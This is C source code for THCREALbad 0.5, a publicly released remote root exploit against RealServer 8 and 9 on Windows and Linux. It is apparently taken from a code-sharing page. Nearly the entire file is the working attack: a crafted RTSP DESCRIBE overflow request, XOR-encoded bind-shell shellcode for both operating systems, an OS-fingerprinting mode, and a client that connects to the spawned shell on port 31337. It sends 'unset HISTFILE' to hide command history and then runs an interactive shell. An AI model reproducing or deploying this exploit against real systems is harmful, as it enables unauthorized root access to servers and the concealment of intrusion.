THCrealbad.c 10.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311
  1. /*****************************************************************************/
  2. /* THCREALbad 0.5 - Wind0wZ & Linux remote root exploit */
  3. /* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com) */
  4. /* THC PUBLIC SOURCE MATERIALS */
  5. /* */
  6. /* This exploit was an 0day from some time, but as CANVAS leaked and kiddies */
  7. /* exploited this bug like hell, realnetworks got info on that bug and posted*/
  8. /* a workaround on their site. So THC decided to release this one to the */
  9. /* public now. Fuck u kiddies ! BURST IN HELL ! */
  10. /* *//* */
  11. /* Also try the testing mode before exploitation of this bug, what OS is */
  12. /* running on the remote site, to know what type of shellcode to use. */
  13. /* */
  14. /* Greetings go to Dave Aitel of Immunitysec who found that bug. */
  15. /* */
  16. /* compile with MS Visual C++ : cl THCREALbad.c */
  17. /* */
  18. /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
  19. /* scut, stealth, zip, zilvio, LSD and Dave Aitel */
  20. /*****************************************************************************/
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <string.h>
  24. #include <winsock2.h>
  25. #define WINDOWS 0
  26. #define LINUX 1
  27. #define OSTESTMODE 2
  28. #pragma comment(lib, "ws2_32.lib")
  29. #define CMD "unset HISTFILE;uname -a;id;\n"
  30. char ostestmode[] = "OPTIONS / RTSP/1.0\r\n\r\n";
  31. char attackbuffer1[] =
  32. "DESCRIBE /"
  33. "../../../../../../../../../../../../../../../../../../../../"
  34. "../../../../../../../../../../../../../../../../../../../../"
  35. "../../../../../../../../../../../../../../../../../../../../"
  36. "../../../../../../../../../../../../../../../../../../../../"
  37. "../../../../../../../../../../../../../../../../../../../../"
  38. "../../../../../../../../../../../../../../../../../../../../"
  39. "../../../../../../../../../../../../../../../../../../../../"
  40. "../../../../../../../../../../../../../../../../../../../../"
  41. "../../../../../../../../../../../../../../../../../../../../"
  42. "../../../../../../../../../../../../../../../../../../../../"
  43. "../../../../../../../../../../../../../../../../../../../../"
  44. "../../../../../../../../../../../../../../../../../../../../"
  45. "../../../../../../../../../../../../../../../../../../../../"
  46. "../../../../../../../../../../../../../../../../../../../../"
  47. "../../../../../../../../../../../../../../../../../../../../"
  48. "../../../../../../../../../../../../../../../../../../../../"
  49. "../../../../../../../../../../../../../../../../../../../../"
  50. "../../../../../../../../../../../../../../../../../../../../"
  51. "../../../../../../../../../../../../../../../../../../../../"
  52. "../../../../../../../../../../../../../../../../../../../../"
  53. "../../../../../../../../../../../../../../../../../../../../"
  54. "../../../../../../../../../../../../../../../../../../../../"
  55. "../../../../../../../../../../../../../../../../../../../../"
  56. "../../../../../../../../../../../../../../../../../../../../"
  57. "../../../../../../../../../../../../../../../../../../../../"
  58. "../../../../../../../../../../../../../../../../../../../../";
  59. char attackbuffer2[] =
  60. ".smi RTSP/1.0\r\n\r\n";
  61. char decoder[] =
  62. "\xcc\xcc\x90\x8b\xfd\x83\xc7\x37\x33\xc9\xb2\x90\x66\x81\xc1"
  63. "\x02\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7";
  64. char linuxshell[] =
  65. "\x32\xc3\x32\xd8\x32\xca\x52\xb2\x05\x52\xb2\x02\x52\xb2\x01"
  66. "\x52\x8a\xe2\xb0\x02\xb3\x65\xce\x83\x8a\xc2\x32\xc3\x32\xd8"
  67. "\x53\x53\x53\x65\x6b\x79\x6a\xb0\x01\x65\x50\x8a\xe1\xb0\x13"
  68. "\x50\xb0\x01\x51\x52\x8a\xc9\x8a\xe2\xb3\x65\xce\x83\x32\xd8"
  69. "\x3a\xc0\x77\x06\x32\xc3\x43\xce\x83\x32\xc3\x53\x51\x8a\xe2"
  70. "\xb0\x07\xb3\x65\xce\x83\x8a\xd4\x32\xc3\x32\xd8\x32\xca\xb0"
  71. "\x12\xb2\x02\xb3\x33\xce\x83\x32\xc3\x32\xd8\x53\x53\x54\x8a"
  72. "\xe2\xb0\x06\xb3\x65\xce\x83\x8a\xc5\x32\xc3\x32\xd8\xb3\x01"
  73. "\xce\x83\x3a\xc0\x76\x43\x32\xc3\x8a\xf8\xb3\x05\xce\x83\x32"
  74. "\xc3\x32\xca\x8a\xf0\xb3\x3d\xfd\xc3\xce\x83\x32\xc3\x42\xb3"
  75. "\x3d\xfd\xc3\xce\x83\x32\xc3\x42\xb3\x3d\xfd\xc3\xce\x83\x32"
  76. "\xc3\x53\x6b\x2c\x2c\x70\x6b\x6b\x2c\x61\x6a\x6d\x8a\xe0\x88"
  77. "\x57\x27\x0b\x53\x50\x8a\xe2\xb3\x08\xce\x83\x32\xc3\x43\xce"
  78. "\x83\x32\xc3\x8a\xf0\xb3\x05\xce\x83\xe8\x9a";
  79. char w32shell[] =
  80. "\x7b\xb3\xea\xf9\x92\x95\xfc\xc9\x68\x8d\x0c\x4e\x1c\x41\xdc"
  81. "\xe0\x44\x93\x60\xb7\xb0\xb0\xa0\x98\xc7\xc3\xa2\xcf\xa3\xa2"
  82. "\xbe\xd4\xdc\xdc\x91\x7b\x95\x78\x69\x6f\x6f\x6f\xcd\x13\x7d"
  83. "\xba\xfa\xa0\xc9\xf4\x1b\x91\x1b\xd0\x9c\x1b\xe0\x8c\x3d\x1b"
  84. "\xe8\x98\x1d\xcf\xac\x1b\x8b\x91\x6b\x1b\xcb\xe8\x91\x6b\x1b"
  85. "\xdb\x8c\x91\x69\x1b\xc3\xb4\x91\x6a\xc3\xc1\xc2\x1b\xcb\xb0"
  86. "\x91\x6b\xa1\x59\xd1\xa1\x50\x09\x1b\xa4\x1b\x91\x6e\x3c\xa1"
  87. "\x52\x41\x72\x14\x50\xe5\x67\x9f\x26\xd5\x95\x1d\xd4\xd5\x94"
  88. "\xf6\xa9\x80\xe5\x71\xf6\xa1\x80\xca\xc8\xce\xc6\xc0\xc2\xbb"
  89. "\xde\x80\xd1\x9f\x27\x9c\xda\x1b\x94\x18\x91\x68\x9f\x26\xdd"
  90. "\x95\x19\xd4\x1d\x48\x6e\xdd\x95\xe5\x2e\x6e\xdd\x94\xe4\xb1"
  91. "\x6e\xdd\xb2\x1d\xcd\x88\xc3\x6f\x40\x19\x57\xfa\x94\xc8\x18"
  92. "\xd5\x95\x10\xd5\xe7\x9a\x1d\xcd\xe4\x10\xfb\xb6\x84\x79\xe8"
  93. "\x6f\x6f\x6f\x19\x5e\xa1\x4b\xc3\xc3\xc3\xc3\xc6\xd6\xc6\x6f"
  94. "\x40\x07\xc5\xc8\xf6\x19\xa0\xfa\x80\xc5\xc7\x6f\xc5\x44\xde"
  95. "\xc6\xc7\x6f\xc5\x5c\xc3\xc5\xc7\x6f\xc5\x40\x07\x1d\xd5\x18"
  96. "\xc0\x6f\xc5\x74\xc5\xc5\x6f\xc5\x78\x1d\xd4\x95\x9c\x04\xc3"
  97. "\xf8\xbe\xf5\xe8\xf5\xf8\xcc\xf3\xfd\xf4\x04\xa1\x42\x1d\xd5"
  98. "\x5c\x04\xc7\xc7\xc7\xc3\xc3\x6e\x56\x91\x62\xc2\x04\x1d\xd5"
  99. "\xe8\xc0\x1d\xd5\x18\xc0\x21\x98\xc3\xc3\xfa\x80\x6e\x5e\xc2"
  100. "\xc3\xc3\xc3\xc5\x6f\xc5\x7c\xfa\x6f\x6f\xc5\x70";
  101. void usage();
  102. void shell(int sock);
  103. int main(int argc, char *argv[])
  104. {
  105. unsigned short realport=554;
  106. unsigned int sock,addr,os,rc;
  107. unsigned char *finalbuffer,*osbuf;
  108. struct sockaddr_in mytcp;
  109. struct hostent * hp;
  110. WSADATA wsaData;
  111. printf("\nTHCREALbad v0.5 - Wind0wZ & Linux remote root sploit for Realservers 8+9\n");
  112. printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");
  113. if(argc<3 || argc>3)
  114. usage();
  115. finalbuffer = malloc(2000);
  116. memset(finalbuffer,0,2000);
  117. strcpy(finalbuffer,attackbuffer1);
  118. os = (unsigned short)atoi(argv[2]);
  119. switch(os)
  120. {
  121. case WINDOWS:
  122. decoder[11]=0x90;
  123. break;
  124. case LINUX:
  125. decoder[11]=0x03;
  126. break;
  127. case OSTESTMODE:
  128. break;
  129. default:
  130. printf("\nillegal OS value!\n");
  131. exit(-1);
  132. }
  133. strcat(finalbuffer,decoder);
  134. if(os==WINDOWS)
  135. strcat(finalbuffer,w32shell);
  136. else
  137. strcat(finalbuffer,linuxshell);
  138. strcat(finalbuffer,attackbuffer2);
  139. if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  140. {
  141. printf("WSAStartup failed !\n");
  142. exit(-1);
  143. }
  144. hp = gethostbyname(argv[1]);
  145. if (!hp){
  146. addr = inet_addr(argv[1]);
  147. }
  148. if ((!hp) && (addr == INADDR_NONE) )
  149. {
  150. printf("Unable to resolve %s\n",argv[1]);
  151. exit(-1);
  152. }
  153. sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  154. if (!sock)
  155. {
  156. printf("socket() error...\n");
  157. exit(-1);
  158. }
  159. if (hp != NULL)
  160. memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
  161. else
  162. mytcp.sin_addr.s_addr = addr;
  163. if (hp)
  164. mytcp.sin_family = hp->h_addrtype;
  165. else
  166. mytcp.sin_family = AF_INET;
  167. mytcp.sin_port=htons(realport);
  168. rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
  169. if(rc==0)
  170. {
  171. if(os==OSTESTMODE)
  172. {
  173. send(sock,ostestmode,sizeof(ostestmode),0);
  174. Sleep(1000);
  175. osbuf = malloc(2000);
  176. memset(osbuf,0,2000);
  177. recv(sock,osbuf,2000,0);
  178. if(*osbuf != '\0')
  179. for(; *osbuf != '\0';)
  180. {
  181. if((isascii(*osbuf) != 0) && (isprint(*osbuf) != 0))
  182. {
  183. if(*osbuf == '\x53' && *(osbuf + 1) == '\x65' && *(osbuf + 2) == '\x72' && *(osbuf + 3) == '\x76' && *(osbuf + 4) == '\x65' && *(osbuf + 5) == '\x72')
  184. {
  185. osbuf += 7;
  186. printf("\nDetected OS: ");
  187. while(*osbuf != '\n')
  188. printf("%c", *osbuf++);
  189. printf("\n");
  190. break;
  191. }
  192. }
  193. osbuf++;
  194. }
  195. free(osbuf);
  196. }
  197. else
  198. {
  199. send(sock,finalbuffer,2000,0);
  200. printf("\nexploit send .... sleeping a while ....\n\n");
  201. Sleep(1000);
  202. }
  203. }
  204. else
  205. printf("can't connect to realserver port!\n");
  206. shutdown(sock,1);
  207. closesocket(sock);
  208. free(finalbuffer);
  209. if(os==OSTESTMODE)
  210. exit(0);
  211. sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  212. mytcp.sin_port = htons(31337);
  213. rc = connect(sock, (struct sockaddr *)&mytcp, sizeof(mytcp));
  214. if(rc!=0)
  215. {
  216. printf("can't connect to port 31337 ;( maybe firewalled ...\n");
  217. exit(-1);
  218. }
  219. if(os==LINUX)
  220. send(sock,CMD,sizeof(CMD),0);
  221. shell(sock);
  222. exit(0);
  223. }
  224. void usage()
  225. {
  226. unsigned int a;
  227. printf("\nUsage: <Host> <OS>\n");
  228. printf("0 = Wind0wZ\n");
  229. printf("1 = Linux\n");
  230. printf("2 = OS Test Mode\n");
  231. exit(0);
  232. }
  233. void shell(int sock)
  234. {
  235. int l;
  236. char buf[1024];
  237. struct timeval time;
  238. unsigned long ul[2];
  239. time.tv_sec = 1;
  240. time.tv_usec = 0;
  241. while (1)
  242. {
  243. ul[0] = 1;
  244. ul[1] = sock;
  245. l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  246. if(l == 1)
  247. {
  248. l = recv (sock, buf, sizeof (buf), 0);
  249. if (l <= 0)
  250. {
  251. printf ("bye bye...\n");
  252. return;
  253. }
  254. l = write (1, buf, l);
  255. if (l <= 0)
  256. {
  257. printf ("bye bye...\n");
  258. return;
  259. }
  260. }
  261. else
  262. {
  263. l = read (0, buf, sizeof (buf));
  264. if (l <= 0)
  265. {
  266. printf("bye bye...\n");
  267. return;
  268. }
  269. l = send(sock, buf, l, 0);
  270. if (l <= 0)
  271. {
  272. printf("bye bye...\n");
  273. return;
  274. }
  275. }
  276. }
  277. }